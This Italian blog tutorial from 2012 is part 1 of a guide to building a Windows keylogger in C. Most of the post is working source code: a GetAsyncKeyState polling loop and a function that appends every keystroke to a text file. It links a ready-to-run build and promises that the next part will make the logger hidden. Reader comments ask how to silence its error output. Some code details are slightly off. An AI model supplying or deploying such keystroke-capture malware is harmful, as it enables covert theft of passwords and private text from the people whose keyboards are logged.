lunedì 23 aprile 2012

[Guida] Creare un keylogger per Windows in C (PART 1)

Con questa guida vi mostrerò i principi base di un keylogger e andremo infine a crearne uno.
Non sapete cos'è un keylogger o come funziona? Vi consiglio caldamente di leggervi questa prima parte della guida...seguitemi!








Definizione di keylogger da wikipedia:
In informatica un keylogger è uno strumento hardware o software in grado di intercettare tutto ciò che un utente digita sulla tastiera del proprio, o di un altro computer.
Non male eh? Già immaginate i possibili utilizzi di un simile strumento, vero? Beh, vi rammento che questa guida è a scopo didattico e non mi ritengo responsabile dell'utilizzo che farete di quello che troverete qui.

Detto ciò, cos'è che fa o che dovrebbe fare un keylogger?
Il suo compito è: ogni volta che viene premuto un tasto, annotalo da qualche parte e salva il tutto. Quindi avremo un programma che 'resta in ascolto' per tutta la durata di una sessione.
Iniziamo a sporcarci un po' le mani.

#include <stdio.h>
#include <windows.h>
#include <Winuser.h>

int main()
{
    while (1)
    {
    
    }
    system ("PAUSE");
    return 0;
}

Come detto all'inizio, questo programma è scritto specificatamente per Windows. In futuro ne farò una versione per Linux. Per questo abbiamo incluso le librerie  <windows.h> e <Winuser.h>. Se non avete dimestichezza con quest'ultime non preoccupatevi, cercherò di spiegarmi quanto meglio riesco (in ogni caso, google aiuta sempre).
Il while(1) è il ciclo principale del programma, ovvero la parte che sta in ascolto di un evento da tastiera. Qui dovremmo inserire qualcosa tipo:
if (tasto premuto)
      salva tasto
che detto in linguaggio C sarebbe: 
     
#define FILENAME "captured.txt"


int main()
{
    char i,key;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
             key = GetAsyncKeyState(i);
             if(key)
             {
                  save(i,FILENAME);
                  break;
             }
        }
        Sleep(10);
    }
    system ("PAUSE");
    return 0;
}


La funzione GetAsyncKeyState() fa parte di Windows.h e determina se un tasto viene premuto nel momento in cui la funzione è chiamata. Il valore passatole è 'i' ed è iterato in ciclo for che lo fa variare da 8 a 190. Il motivo di questi valori è che ad ogni tasto della tastiera corrisponde un codice con un dato valore. Ad esempio il tasto SPAZIO corrisponde al codice esadecimale 0x20, che in decimale sarebbe 32. Per una lista di tutti i tasti con relativi codici guardate qui. I codici vanno da 1 a 256, tuttavia i primi 7 sono i tasti del mouse e quelli dopo il 190 non sono molto utilizzati. Per questo motivo 8 <= i <= 190. Il valore contenuto in key dipende da GetAsyncKeyState(i). Questa ritorna un valore SHORT che è positivo se il tasto è stato premuto nel momento della chiamata alla funzione. Quindi, if(key) allora andiamo ad eseguire la funzione save, che illustrerò a breve.
Infine, dato che il loop infinito fa si che il programma giri continuamente si esegue una sleep() che 'addormenta' il processo per un certo lasso di tempo, in modo da dare spazio anche agli altri programmi (qui ci vorrebbe un po' di teoria dei sistemi operativi, se vi interessa guardate qui).

Adesso quello che dobbiamo fare è salvare il tasto premuto comodamente in un file di testo, che potrà essere visualizzato in qualunque momento.

void save(int key_press, char *file)
{
    FILE *OUTPUT_FILE;

    if ( (key_press == 1) || (key_press == 2) )
    return;

    OUTPUT_FILE = fopen(file, "a+");
    if(OUTPUT_FILE == NULL)
    {
        printf("Impossibile aprire file %s\n",*file);
        return;
    }

    printf("%d\n",key_press);

    switch(key_press)
    {
        case  8:fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");break;
        case  9:fprintf(OUTPUT_FILE, "%s", "[TAB]");break;
        case 11:fprintf(OUTPUT_FILE, "%s", "[CONTROL]");break;
        case 13:fprintf(OUTPUT_FILE, "%s", "\n");break;
        case 16:fprintf(OUTPUT_FILE, "%s", "[SHIFT]");break;
        case 27:fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");break;
        case 32:fprintf(OUTPUT_FILE, "%s", " ");break;
        case 35:fprintf(OUTPUT_FILE, "%s", "[END]");break;
        case 36:fprintf(OUTPUT_FILE, "%s", "[HOME]");break;
        case 37:fprintf(OUTPUT_FILE, "%s", "[LEFT]");break;
        case 38:fprintf(OUTPUT_FILE, "%s", "[UP]");break;
        case 39:fprintf(OUTPUT_FILE, "%s", "[RIGHT]");break;
        case 40:fprintf(OUTPUT_FILE, "%s", "[DOWN]");break;
        case 190:fprintf(OUTPUT_FILE, "%s", ".");break;
        case 110:fprintf(OUTPUT_FILE, "%s", ".");break;
        default:fprintf(OUTPUT_FILE, "%s", &key_press);break;
    }

    fclose (OUTPUT_FILE);
}

La funzione apre un file in 'a+', cioè aggiunge nuovi dati alla fine del file e ne permette anche la lettura, se il file non esiste viene creato. key_press è il nostro tasto premuto. Questi viene confrontato con tutti i possibili codici in un case e ad ogni corrispondenza viene fatta la scrittura del tasto premuto sul file. Ad esempio il codice per il tasto ESCAPE è 0x1B in esadecimale, che corrisponde a 27 in decimale. case 27 infatti scrive [ESCAPE] sul file di testo. Il caso di default è usato per tutte le lettere e scrive sostanzialmente il valore puntato dal tasto premuto, che è appunto la lettera.

Con questo si conclude la prima parte della guida. Spero vi abbia illuminato a sufficienza.
La prossima volta vedremo come rendere il nostro programma un po' più nascosto e come migliorare l'output su file aggiungendo ad esempio su quale finestra sta scrivendo l'utente.

Di seguito trovate un archivio contenente i sorgenti e il programma già pronto per essere provato. ;)

4 commenti:

  1. printf("Impossibile aprire file %s\n",*file);
    questa riga qui, dovrebbe far apparire a schermo la scritta "Impossibile aprire il file" giusto?
    E se io volessi toglierla?
    Non dovrebbe modificare il corretto funzionamento del programma giusto? Solo non dovrebbe dare messaggi di errore.
    Per eliminarlo basterebbe cancellare tutta la riga e lasciare il return?
    Poi posso chiedere cosa fa OUTPUT_FILE?
    E' una variabile o un comando?
    Grazie mille

    RispondiElimina
    Risposte
    1. Esatto, la riga di printf è usata solo per controllare che vada tutto bene. Invece che toglierla, poni // prima di essa così: //printf("Impossibile aprire file %s\n",*file); Queste due barrette indicano un commento, cioè qualcosa che non viene eseguito dal programma ma che il programmatore scrive come annotazione. In questo modo se la volessi di nuovo ti basta levare //.
      OUTPUT_FILE è una variabile puntatore ad un file. Se noti è dichiarata all'inizio della funzione void save:
      void save(int key_press, char *file)
      {
      FILE *OUTPUT_FILE;
      Semplicemente è il nostro "contenitore" del file di output, cioè lo uso come riferimento ad esso.

      Elimina
  2. Ok, e ora un'altro problema... Quando compilo mi da l' errore "unenclared identifier FILENAME"
    Dove ho sbagliato?

    RispondiElimina
    Risposte
    1. L'errore non è tuo ma mio! Qui sul blog ho dimenticato una riga:
      #define FILENAME "captured.txt"
      Ad ogni modo se scarichi il file a fondo pagina c'è il sorgente funzionante e lì questa riga c'è. Grazie per la segnalazione ;)

      Elimina